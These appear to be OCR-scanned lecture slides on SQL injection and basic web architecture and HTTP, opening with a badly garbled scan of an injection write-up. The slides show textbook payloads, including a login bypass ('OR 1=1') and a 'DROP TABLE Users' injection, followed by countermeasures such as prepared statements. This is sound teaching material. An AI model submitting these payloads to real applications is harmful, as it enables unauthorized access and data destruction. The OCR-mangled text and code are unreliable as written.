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Steve Friedl's Unixwiz.net Tech Tips
SQL Injection Attacks by Example

A custormer as<ed that we check out his intranet site, which was used by | /‘,—‘ii /;'1 -

the company's emplaoyees and custormers. This wes part of a larger
sacunty review, 2nd thougn we'd not actuzlly used SQL injacton to -
penebrate a network before, we were pretly familiar with the general ] - h
cancepts. 'We ware completely succeasful In this engagement, and wanted [l e
Lo recount the steps taken as an illustration.

"SQL Injection” is subset of the an
unuverited/unsanitized user Input vulne=ahllity (“hutfer averficws™ are a
different subset], and the idea is to convince the application to run SQL
code Lhal was not intended, IF the application is creating SQL sbrings
nalvely on the fiy and then running them, If's stralghtfarward ta create
some regl surpriscs.,

Wwe'll nobe thal Lhis was g semewhal winding road with more than cne
wrang tum, and athars with mare experenca vdll certzinly have different
-- and better -- approaches. But the fact that we were successful doas
SUSQEsT That we were not entirely misguided.

There have hesn ather papers on SQL Injection, Induding Some that are
much more detailed, but th's one shows the rationale of discovery as
much as Lhe process of exploitation.
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| The Target Intranct

This ¢ppcered W be an entirely customn applicalion, and we hed no prior knewledge of the application ner
access ta the saurce cnde: this was a2 "hlind"” attack. A hit of poking showed that this server ran Micasoft's
ILS 6 along with ASP.NET, and Lhis suggested Lhet the database weas Maosoll's SQL server: we belicve thet
thesa tecnniques can apply to nearly any wen application hacked hy any S50L server.

The login page had a traditlonal usemame-and-passward form, but alsa an emal -me-my-password Iink; the
latzer proved to be the cownfall of the whole system.

When enlerng an emezil address, Lthe syslem presumably lacked in the user dalabase lfar thal email address,
and maied something to that address. Since my email adcress is not found, it wasn't going to sand me
anyihing,

Sc Lhe firsl est in any SQL-ish form is W eater a single quole a5 parl of the data: e inlention s W see (|
they carstruct an SQL string lizera’ly withaut sanitizing. When suamitting the form with 2 quote 'n the email
address, we get a 500 error (server failure), 2nc this suggests that the "broken” inpul is adsal'y being
parsad literally. Bingo.

We speculate that the underlying SQL code lacks something like this:

SCLECT (Mieidiist
FROM Labie
WHERE fieid = '[SEMATIL] :

Here, EEMAIL s the address subm'ttea on the form by the usar, and the ‘arger query provides tha
gquotation marks that set it off as a literal string. We don't know the specdific names of the fields or table
involved, but we do know Lher naturs, and we'll make seme good guesses laler,

e EEEEEE————
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A very basic web architecture

Client

Browser Web server
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DB is a separate entity,
logically (and often physically)




SQL security



Databases

Provide data storage & data manipulation
Database designer lays out the data into tables
Programmers query the database

Database Management Systems (DBMSes) provide

« semantics for how to organize data
- transactions for manipulating data sanely
- a language for creating & querying data

and APIls to interoperate with other languages

* management via users & permissions



Databases: basics

Users
Gender Age Email Password
Dee F 28 dee@pp.com j3i8g8ha
Mac M 7 bouncer@pp.com alu23bt
Charlie M 32 aneifjask@pp.com  Oaergja
Dennis M 28 imagod@pp.com 1bjb9a93
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Transactions are the unit of work on a database



Database transactions

Transactions are the unit of work on a database

“Give me everyone in the User table who is
isted as taking CMSC414 in the Classes table”

“Deduct $100 from Alice: Add $100 to Bob”




Database transactions

Transactions are the unit of work on a database

“Give me everyone in the User table who is
listed as taking CMSC414 in the Classes table” 2 reads

“Deduct $100 from Alice: Add $100 to Bob” 2 writes




Database transactions

Transactions are the unit of work on a database

“Give me everyone in the User table who is
listed as taking CMSC414 in the Classes table” 2 r€ads

1 transaction
“Deduct $100 from Alice: Add $100 to Bob” 2 writes




Database transactions

Transactions are the unit of work on a database

“Give me everyone in the User table who is
listed as taking CMSC414 in the Classes table” 2 r€ads

1 transaction
“Deduct $100 from Alice: Add $100 to Bob” 2 writes

» Typically want ACID transactions

- Atomicity: Transactions complete entirely or not at all

- Consistency: The database is always in a valid state
(but not necessarily correct)

Isolation: Results from a transaction aren’t visible
until it Is complete

Durability: Once a transaction is committed, it
remains, despite, e.qg., power failures
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Server-side code

Website

Usemame: | Password: Log me on automatically each visit Log in I

“Login code” (php)

Sresult = mysql query(“select * from Users
where (name=‘'Suser’ and password=‘S$Spass’);"”);

Suppose you successfully log in as $user
if this query returns any rows whatsoever



Server-side code

Website

Usemame: I Password: Log me on automatically each visit Log in I

“Login code” (php)

Sresult = mysql query(“select * from Users
where (name=‘'Suser’ and password=‘S$Spass’);"”);

Suppose you successfully log in as $user
if this query returns any rows whatsoever

How could you exploit this?



SQL injection

Usemame: Password: I Log me on automatically each visit Log in I

Sresult = mysql query(“select * from Users
where (name=‘'Suser’ and password=‘S$Spass’);"”);



SQL injection

Usemame: | Password: Log me on automatically each visit Log in I

I'n
Ny
Ny
Ny,

[y Va
N
.....
. ny
. g
. "y
. ny
** "a,
* oy,

frank’ OR 1=1); --

Sresult = mysql query(“select * from Users
where (name=‘'Suser’ and password=‘S$Spass’);"”);



SQL injection

Usemame: | Password: Log me on automatically each visit Log in I

I'n
Ny
Ny
Ny,

[y Va
N
.....
. ny
. g
. "y
. ny
** "a,
* oy,

frank’ OR 1=1); --

Sresult = mysql query(“select * from Users
where (name=‘'Suser’ and password=‘S$Spass’);"”);

Sresult = mysql query(“select * from Users
where(name=’'frank’ OR 1=1); --
and password=‘whocares’);");



SQL injection
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frank’ OR 1=1); DROP TABLE Users; --

Sresult = mysql query(“select * from Users
where (name=‘'Suser’ and password=‘S$Spass’);"”);

Can chain together statements with semicolon:
STATEMENT 1 ; STATEMENT 2



SQL injection

--IIIIIIIIIIlllIlIIlIlllIllllllIlllllllllllllllllllllllllllll...

frank’ OR 1=1); DROP TABLE Users; --

Sresult = mysql query(“select * from Users
where (name=‘'Suser’ and password=‘S$Spass’);"”);

Sresult = mysql query(“select * from Users
where(name=’'frank’ OR 1=1);
DROP TABLE Users; --
‘ and password=‘whocares’);");

Can chain together statements with semicolon:
STATEMENT 1 ; STATEMENT 2
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SQL injection

XSS

CSRF

Buffer “errors”

TIME AND STATE
source cooe [l
SECURITY FEATURES |1
sa invecTion [}
RESOURCE MANAGEMENT ERRORS |
race conoiTions [

PERMISSIONS, PRIVILEGES, AND ACCESS CONTROL .

PaTH TRAVERSAL [}
PATH EQUIVALENCE |
otver [}
0S COMMAND INJECTIONS
NUMERIC ERRORS I
LOCATION |
un FoLowing [}

INSUFFICIENT VERIFICATION OF DATA AUTHENTICITY

INSUFFICIENT INFORMATION [l
INPUT VALIDATION
necTion I
INFORMATION MANAGEMENT ERRORS
INFORMATION LEAK / DIsCLOSURE [}
INDICATOR OF POOR CODE QUALITY
IMPROPER ACCESS CONTROL [l
FORMAT STRING VULNERABILITY |1
pata HANDLING [}
CRYPTOGRAPHIC ISSUES |
cross-sITe SCRIPTING (XSS) [l
CROSS-SITE REQUEST FORGERY (CSRF) |
cREDENTIALS MANAGEMENT [JJi]
CONFIGURATION |
commanD INJECTION [}
CODE INJECTION
cooe
BUFFER ERRORS |
authenTicaTion 1ssues [




TIME AND STATE
SQL injection source cooe [l
SECURITY FEATURES |1
sa invecTion [}
RESOURCE MANAGEMENT ERRORS |
race conoiTions [
PERMISSIONS, PRIVILEGES, AND ACCESS CONTROL |
PaTH TRAVERSAL [}
PATH EQUIVALENCE |
otver [}

0S COMMAND INJECTIONS
NUMERIC ERRORS I

LOCATION |

un FoLowing [}

INSUFFICIENT VERIFICATION OF DATA AUTHENTICITY
INSUFFICIENT INFORMATION [l

INPUT VALIDATION
necTion I

INFORMATION MANAGEMENT ERRORS
INFORMATION LEAK / DIsCLOSURE [}

INDICATOR OF POOR CODE QUALITY
IMPROPER ACCESS CONTROL [l
FORMAT STRING VULNERABILITY |1
pata HANDLING [}
CRYPTOGRAPHIC ISSUES |
CSRE cross-sITe SCRIPTING (XSS) [l
CROSS-SITE REQUEST FORGERY (CSRF) |
cREDENTIALS MANAGEMENT [JJi]
CONFIGURATION |
commanD INJECTION [}

CODE INJECTION
2007 2008 2009 2010 201 20°2 2013 2014 2015 2016 2017 CODE .
BUFFER ERRORS |
autHenTicaTioN IssUes [}




HI, THIS 1S

YOUR SON'S SCHOOL.

WE'RE HAVING SOME
(OMPUTER TROUBLE.

\%m

OH, DEAR - DID HE
BREAK SOMETHING?

IN AWAY /

S

!

DID YOU REALLY
NAME YOUR SON
Robert'); DROP
TABLE Students;-~ 7

~OH.YES UTTE
RBOBBY TABLES,
WE CALL HIM.

WELL, WE'VE LOST THIS

YEAR'S STUDENT RECORDS.
I HOPE YOURE HAPPY.

{

AND I H(PE
=~ YOUVE LEARNED
¢ TOSANMZE YOUR
DATARASE INPUTS,







SQL injection countermeasures

e Blacklisting: Delete the characters you don't want

e Downside: “Peter O’'Connor”
* You want these characters sometimes!
- How do you know if/when the characters are bad?



SQL injection countermeasures
1. Whitelisting

* Check that the user-provided input is in some set of
values known to be safe

* Integer within the right range

* (Given an invalid input, better to reject than to fix
- "Fixes” may introduce vulnerabilities
*  Principle of fail-safe defaults

 Downside:
- Um.. Names come from a well-known dictionary?



SQL injection countermeasures

2. Escape characters

 Escape characters that could alter control

 Hard by hand, but there are many libs & methods
« magic_quotes_gpc = On
- mysql_real_escape_string()

 Downside: Sometimes you want these in your SQL!



The underlying Issue

iSresult = mysqgl query(“select * from Users _
: where (name=‘'$Suser’ and password=‘$pass’);"”) ;i

* This one string combines the code and the data

e Similar to buffer overflows:

When the boundary between code and data blurs,
we open ourselves up to vulnerabilities



The underlying Issue

select / from / where

Users

$user password | $pass




The underlying Issue

select / from / where

Users

Puser password | $pass




SQL injection countermeasures

3. Prepared statements & bind variables
Key idea: Decouple the code and the data

iSresult = mysqgl query(“select * from Users _
: where (name=‘'Suser’ and password=‘Spass’);"”);:



SQL injection countermeasures

3. Prepared statements & bind variables
Key idea: Decouple the code and the data

Sdb = new mysql(“localhost”, *“user”, *“pass”, “DB");
Sstatement = Sdb->prepare(“select * from Users

where (name=? and password=?);");

$statement->bind param(“ss”, Suser, $pass);
S$statement->execute();



SQL injection countermeasures

3. Prepared statements & bind variables
Key idea: Decouple the code and the data

Sdb = new mysql(“localhost”, *“user”, *“pass”, “DB");
Sstatement = Sdb->prepare(“select * from Users

where (name=? and password=?);"); Bind variables

$statement->bind param(“ss”, Suser, $pass);
S$statement->execute();



SQL injection countermeasures

3. Prepared statements & bind variables
Key idea: Decouple the code and the data

Sdb = new mysql(“localhost”, *“user”, *“pass”, “DB");
Sstatement = Sdb->prepare(“select * from Users

where (name=? and password=?);"); Bind variables

$statement->bind param(“ss”, Suser, $pass);
sstatement->execute(); Bind variables are typed



SQL injection countermeasures

3. Prepared statements & bind variables
Key idea: Decouple the code and the data

$db = new mysqgl(“localhost”, *"user”, “pass”, “DB");

Sstatement = Sdb->prepare(“select * from Users
where (name=? and password=?);"); Bind variables

Decoupling lets us compile now, before binding the data

$statement->bind param(“ss”, Suser, $pass);
sstatement->execute(); Bind variables are typed



The underlying Issue

iSstatement = S$db->prepare(“”select * from Users
: where(name=? and password=?);");

select / from / where

Users

$user password | $pass




Ihe underlying Issue

§$Statement = $db_>prepare(uselect * from Users
' where (name=? and password=?);");

select / from / where

Users

password



Ihe underlying Issue

§$Statement = $db_>prepare(uselect * from Users
' where (name=? and password=?);");

Prepare is only applied
to the leaves, so the
structure of the tree
Users is fixed

select / from / where

password



Mitigating the impact

e Limit privileges
« Can limit commands and/or tables a user can access

- Allow SELECT queries on Orders_Table but not on
Creditcards_Table

- Follow the principle of least privilege
Incomplete fix, but helptul

* Encrypt sensitive data stored in the database
- May not need to encrypt Orders_Table
- But certainly encrypt Creditcards_Table.cc_numbers




Web security



A very basic web architecture

Client

Browser Web server

(PEr)I\eﬁe)
o J

DB is a separate entity,
logically (and often physically)




A very basic web architecture

Client

Browser Web server

pa”
Data
\_ J \_ J

(Much) user data is DB is a separate entity,
part of the browser logically (and often physically)




Interacting with web servers

Get and put resources which are identified by a URL

http://www.cs.umd.edu/~dml/home.html



Interacting with web servers

Get and put resources which are identified by a URL

: //www.cs.umd.edu/~dml/home.html

Protocol
ftp
https
tor



Interacting with web servers

Get and put resources which are identified by a URL

http://www.cs.umd.edu/~dml/home.html



Interacting with web servers

Get and put resources which are identified by a URL

http:/ ~dml /home.html

Hostname/server

Translated to an IP address by DNS
(more on this later)



Interacting with web servers

Get and put resources which are identified by a URL

http://www.cs.umd.edu/~dml/home.html



Interacting with web servers

Get and put resources which are identified by a URL

http://www.cs.umd.edu/~dml/home.html

Path to a resource

Here, the file home.html is static content
.e., afixed file returned by the server



Interacting with web servers

Get and put resources which are identified by a URL

http://www.cs.umd.edu/~dml/home.html

Path to a resource

Here, the file home.html is static content
.e., afixed file returned by the server

http://facebook.com/delete.php



Interacting with web servers

Get and put resources which are identified by a URL

http://www.cs.umd.edu/~dml/home.html

Path to a resource

Here, the file home.html is static content
.e., afixed file returned by the server

http://facebook.com/|delete.php

Path to a resource

Here, the file home.html is dynamic content
.e., the server generates the content on the fly



Interacting with web servers

Get and put resources which are identified by a URL

http://www.cs.umd.edu/~dml/home.html

Path to a resource

Here, the file home.html is static content
.e., afixed file returned by the server

http://facebook.com/delete.php

Here, the file home.html is dynamic content
.e., the server generates the content on the fly



Interacting with web servers

Get and put resources which are identified by a URL

http://www.cs.umd.edu/~dml/home.html

Path to a resource

Here, the file home.html is static content
.e., afixed file returned by the server

http://facebook.com/delete.php?f=joel23&w=16

Here, the file home.html is dynamic content
.e., the server generates the content on the fly



Interacting with web servers

Get and put resources which are identified by a URL

http://www.cs.umd.edu/~dml/home.html

Path to a resource

Here, the file home.html is static content
.e., afixed file returned by the server

http://facebook.com/delete.php?f=joel23&w=16

Arguments

Here, the file home.html is dynamic content
.e., the server generates the content on the fly



Basic structure of web traffic

Client Server
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Basic structure of web traffic

Client Server

Browser Web server



Basic structure of web traffic

Client Server

Browser Web server



Basic structure of web traffic

Client Server

Browser Web server

 HyperText Transfer Protocol (HT TP)

- An "application-layer” protocol for exchanging
collections of data




Basic structure of web traffic

Client Server

Browser

Web server



Basic structure of web traffic

Client Server

Browser

User clicks

Web server



Basic structure of web traffic

Client Server

HTTP Request

Browser Web server

User clicks



Basic structure of web traffic

Client Server

HTTP Request

Browser Web server

User clicks

 Requests contain:
- The URL of the resource the client wishes to obtain
- Headers describing what the browser can do

 Requests be GET or POST
- GET: all data is in the URL itself (supposed to have no side-effects)
- POST: includes the data as separate fields (can have side-effects)



HTTP GET requests

http:/www.reddit.com/r/security

HTTP Headers
http://www.reddit.com/r/security

GET /r/security HTTP/1.1

Host: www.reddit.com
User-Agent: Mozilla/5.0 (X11; U; Linux 1686; en-US; rnv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: 1ISO-8859-1,utf-8;0=0.7,*;q=0.7

Keep-Alive: 115

Connection: keep-alive


http://www.reddit.com/r/security

HTTP GET requests

http:/www.reddit.com/r/security

HTTP Headers
http://www.reddit.com/r/security

r/secun'ty HTTP/1.1

Host: www.reddit.com
User-Agent: Mozilla/5.0 (X11; U; Linux 1686; en-US; rnv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: 1ISO-8859-1,utf-8;0=0.7,*;q=0.7

Keep-Alive: 115

Connection: keep-alive


http://www.reddit.com/r/security

HTTP GET requests

http:/www.reddit.com/r/security

HTTP Headers
http://www.reddit.com/r/security

r/secun'ty HTTP/1.1

Host: www.reddit.com

(User—Agent:)MozilIa/S.O (X11; U; Linux i686; en-US; rnv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: 1ISO-8859-1,utf-8;0=0.7,*;q=0.7

Keep-Alive: 115

Connection: keep-alive

User-Agent is typically a browser
but it can be wget, JDK, etc.


http://www.reddit.com/r/security

MY SUEREDDITE w FRONT ALL SANCCM | ASKECENCE TIFU SPCRTE BOOKE WORLDNEWS DOCUMENTARIES GADGETE DATAISS

ireddi' SECURITY | hot| new rising controversial fop glided promoled

& Hacker Claims Feds Hit Him With 44 Felonies When He Refused to Be an
FB' Spy wired.com

v submittcd 5 hours ago 3y.X73"\0q
comment asharc
+ L Lenovo Installed Adware on Computers that allows for MITM (SSL Cert
N \_m= - Replacement) mewen:com
v Vo submined 1 rour 2go Dy PbpL4D
commenl share
+ = Google Chrome Recorded the Highest Numbker of Vulnerabilities in January
?-- 2015 (rews._scftpeciz.com|
v S = submitted 3 Fous ago by _ilgnare
== comment share
+ Chips under the skin: Biohacking, the connectad body is 'here to stay'
(zdnctcom
v submittcd 2 minutes ago by _ilgnore
comment share
+ L IT Securily career dilemma (oo cecu,

- J Aa| stbmitted 1 day 2g0 * by GomyA
- 7)) 1) 6 comments share




MY SUEREDDITE w FRONT ALL SANCCM | ASKECENCE TIFU SPCRTS BOOKE WORLDNEWSE DOCUMENTARIES GADGETES DATAIES

ireddii SECURITY | hot| new rising controversial fop glided promoled

u Hacker Claims Feds Hit Him With 44 Felonies When He Refused to Be an
FBI Spy wired.com

...............

comment share

. Lenovo Installed Adware on Computers that allows for MITM (SSL Cert
- A Replacement) 2 com

/ DDID L4O
commenl share

Google Chrome Recorded the Highest Numbker of Vulnerabilities in January
20'5 rews.scftpeciz.com

Foums ago by _ilgnare
comment share

” Chips under the skin: Biohacking, the connectad body is 'here to stay'
‘- . _I 3:: ?“ com

cd 2 minutes ago by _ilgnore
comment share

IT Securily career dilemma (oo secus,

sLbhmitted 1 day 2go * by GarhyA
| 6 comments share

HTTP Headers
http://www.theverge.com/2015/2/19/8067505/lenovo-installs-adware-private-data-hackers

GET /2015/2/19/8067505/lenovo-installs-adware-private-data-hackers HTTP/1.1

Host: www.theverge.com

User-Agent: Mozilla/5.0 (X11; U; Linux 1686; en-US; rnv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: 1SO-8859-1,utf-8;q=0.7,*%;0=0.7

Keep-Alive: 115

Connection: keep-alive

Referer: http://www.reddit.com/r/security



MY SUEREDDITE w FRONT ALL SANCCM WSC ENCE TIFU SPCRTS BOOKE WORLDNEWS DOCUMENTARIES GADGETE DATAIES

eddi
J r ‘ SECURITY | hot| new rising controversial fop glided promoled

m Hacker Claims Feds Hit Him With 44 Felonies When He Refused to Be an
FBISPY weec o

comment share

Lenovo Installed Adware on Computers that allows for MITM (SSL Cert
I e Replacement)

/ DDIPL4D
commenl share

Google Chrome Recorded the Highest Numbker of Vulnerabilities in January
2015 rews.scrpeciz.com

j0 by _ilgnare
comment share

v 3 Chips under the skin: Biohacking, the connectad body is 'here to stay’
A’ '* :2:3”4; minLics ago o

iignore
comment share

T Secunly career dilemma  (.or secu

|Aa| hmitted 1 day 2go * by GorhyA
B comments share

HTTP Headers
http://www.theverge.com/2015/2/19/8067505/lenovo-installs-adware-private-data-hackers

GET /2015/2/19/8067505/lenovo-installs-adware-private-data-hackers HTTP/1.1

Host: www.theverge.com
User-Agent: Mozilla/5.0 (X11; U; Linux 1686; en-US; rnv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: 1SO-8859-1,utf-8;q=0.7,*%;0=0.7

Kecp Allve: 113 Referrer URL: the site from which
| Referer: http /fwww.reddit. com/r/secunty) thlS request was |Ssued




HTTP POST requests

Posting on Piazza

| HTTP Headers
https://piazza.com/logic/api?method=content.create&aid=i6ceq3skno48

POST /logic/api?method=content.create&aid=i6ceq3skno48 HTTP/1.1

Host: piazza.com

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: 1SO-8859-1,utf-8;q=0.7,*;q4=0.7

Keep-Alive: 115

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: https://piazza.com/class?nid=i55texo54nv3eh

Content-Length: 640

e c Ly S5ession cookie (more on this later). Not something you want to share!

Pragma: no-cache

Cache-Control: no-cache
{"method":"content.create”,"params": {"nid":"i55texo54nv3eh" “"type":"note","subject":"Live HTTP headers","content":"<p>Starting today ...




HTTP POST requests

Posting on Piazza

| HTTP Headers
https://piazza.com/logic/api?method=content.create&aid=i6ceq3skno48

ogic/api?method=content.create&aid=i6ceq3skno48 HTTP/1.1

Host: piazza.com

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: 1SO-8859-1,utf-8;q=0.7,*;q4=0.7

Keep-Alive: 115

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: https://piazza.com/class?nid=i55texo54nv3eh

Content-Length: 640

e c Ly S5ession cookie (more on this later). Not something you want to share!
Pragma: no-cache
Cache-Control: no-cache

{"method":"content.create”,"params": {"nid":"i55texo54nv3eh" “"type":"note","subject":"Live HTTP headers","content":"<p>Starting today ...




HTTP POST requests

Posting on Piazza

| HTTP Headers
https://piazza.com/logic/api?method=content.create&aid=i6ceq3skno48

Implicitly includes data
ioagzi;E/fé)(i)’.:;nethod=content.create(&aid=i6ceq3skno48)'lTrPll.1 aS% p al}; Of th e URI_

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: 1SO-8859-1,utf-8;q=0.7,*;q4=0.7

Keep-Alive: 115

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: https://piazza.com/class?nid=i55texo54nv3eh

Content-Length: 640

e c Ly S5ession cookie (more on this later). Not something you want to share!
Pragma: no-cache
Cache-Control: no-cache

{"method":"content.create”,"params": {"nid":"i55texo54nv3eh" “"type":"note","subject":"Live HTTP headers","content":"<p>Starting today ...




HTTP POST requests

Posting on Piazza

| HTTP Headers
https://piazza.com/logic/api?method=content.create&aid=i6ceq3skno48

Implicitly includes data
ioagzi;g'?é)(i)'.;r‘nethod=content.creatcf(tsaaid=i6ceq3skno48}lTTP/1.1 aS% p al}; Of th e URI_

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: 1SO-8859-1,utf-8;q=0.7,*;q4=0.7

Keep-Alive: 115

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Referer: https://piazza.com/class?nid=i55texo54nv3eh
Content-Length: 640

e c Ly S5ession cookie (more on this later). Not something you want to share!
Pragma: no-cache

Cache-Control: no-cache
({"method":"content.create","params": {"nid":"i55texo54nv3eh",“type":"note","subject":"Live HTTP headers","content":"<p>Starting today )

Explicitly includes data as a part of the request’s content
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Basic structure of web traffic

Client Server

HTTP Response

Browser Web server

User clicks



Basic structure of web traffic

Client Server

HTTP Response

Browser Web server

User clicks

 Responses contain:
- Status code

- Headers describing what the server provides
- Data

- Cookies
« State it would like the browser to store on the site’s behalf



A1 [P responses

HTTP/1.1 200 OK
“T'| Date: Tue, 18 Feb 2014 08:20:34 GMT
¢ | Server: Apache
Set-Cookie: session-zdnet-production=6bhqgcaliOcbciagullsisac2p3; path=/; domain=zdnet.com
Set-Cookie: zdregion=MTI5LjIuMTISLjE1MzplczplczpjZDJmNWYSYTdkODU1IN2Q2YzM5NGU3M2Y1ZTRmMN
Set-Cookie: zdregion=MTI5LjIUuMTISLE1Mzplczplczp)ZDJmNWYSYTdkODU1IN2Q2YzM5SNGU3M2Y1ZTRmMN
Set-Cookie: edition=us; expires=Wed, 18-Feb-2015 08:20:34 GMT; path=/; domain=.zdnet.com
Set-Cookie: session-zdnet-production=590b97fpinge4bg6lded4dvvqll; path=/; domain=zdnet.com
Set-Cookie: user_agent=desktop
Set-Cookie: zdnet_ad_session=f
Set-Cookie: firstpg=0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
i | X-UA-Compatible: IE=edge,chrome=1
- | Vary: Accept-Encoding
| Content-Encoding: gzip
Content-Length: 18922
Keep-Alive: timeout=70, max=146
i | Connection: Keep-Alive
4. Content-Type: text/html; charset=UTF-8

<html> .... </html>




e Status reason F11 TP rESpPONSES

version €29€ phrase

| Date: Tue, 18 Feb 2014 08:20:34 GMT

Server: Apache

Set-Cookie: session-zdnet-production=6bhqgcaliOcbciagullsisac2p3; path=/; domain=zdnet.com
Set-Cookie: zdregion=MTI5LjIuMTISLjE1MzplczplczpjZDJmNWYSYTdkODU1IN2Q2YzM5NGU3M2Y1ZTRmMN
Set-Cookie: zdregion=MTI5LjIUuMTISLE1Mzplczplczp)ZDJmNWYSYTdkODU1IN2Q2YzM5SNGU3M2Y1ZTRmMN
Set-Cookie: edition=us; expires=Wed, 18-Feb-2015 08:20:34 GMT; path=/; domain=.zdnet.com
Set-Cookie: session-zdnet-production=590b97fpinge4bg6lded4dvvqll; path=/; domain=zdnet.com
Set-Cookie: user_agent=desktop

Set-Cookie: zdnet_ad session=f

Set-Cookie: firstpg=0

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

X-UA-Compatible: IE=edge,chrome=1

- | Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 18922

Keep-Alive: timeout=70, max=146

' | Connection: Keep-Alive

L4 Content-Type: text/html; charset=UTF-8

<html> .... </html>

Headers

Data,



HTTP Headers
http://blog.lifars.com/2015/02/18/weird-security-term-of-the-week-clickjacking/

GET /2015/02/18/weird-security-term-of-the-week-clickjacking/ HTTP/1.1

Host: blog.lifars.com

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;0=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;0=0.7

Keep-Alive: 115

Connection: keep-alive

Referer: http://www.reddit.com/r/security

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 19 Feb 2015 17:25:28 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding, Cookie

X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header.
X-Pingback: http://blog.lifars.com/xmlirpc.php
Link: <http://wp.me/p4BZPV-iV>; rel=shortlink
Last-Modified: Thu, 19 Feb 2015 17:25:28 GMT
Cache-Control: max-age=300, must-revalidate
X-nananana: Batcache

Content-Encoding: gzip



HTTP Headers
http://blog.lifars.com/2015/02/18/weird-security-term-of-the-week-clickjacking/

GET /2015/02/18/weird-security-term-of-the-week-clickjacking/ HTTP/1.1

Host: blog.lifars.com

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;0=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;0=0.7

Keep-Alive: 115

Connection: keep-alive

Referer: http://www.reddit.com/r/security

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 19 Feb 2015 17:25:28 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding, Cookie

X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header.
X-Pingback: http://blog.lifars.com/xmlirpc.php
Link: <http://wp.me/p4BZPV-iV>; rel=shortlink
Last-Modified: Thu, 19 Feb 2015 17:25:28 GMT
Cache-Control: max-age=300, must-revalidate
(X-nananana: Batcachle_)

Content-Encoding: gzip




HTTP Headers
http://blog.lifars.com/2015/02/18/weird-security-term-of-the-week-clickjacking/

GET /2015/02/18/weird-security-term-of-the-week-clickjacking/ HTTP/1.1

Host: blog.lifars.com

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;0=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;0=0.7

Keep-Alive: 115

Connection: keep-alive

Referer: http://www.reddit.com/r/security

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 19 Feb 2015 17:25:28 GMT
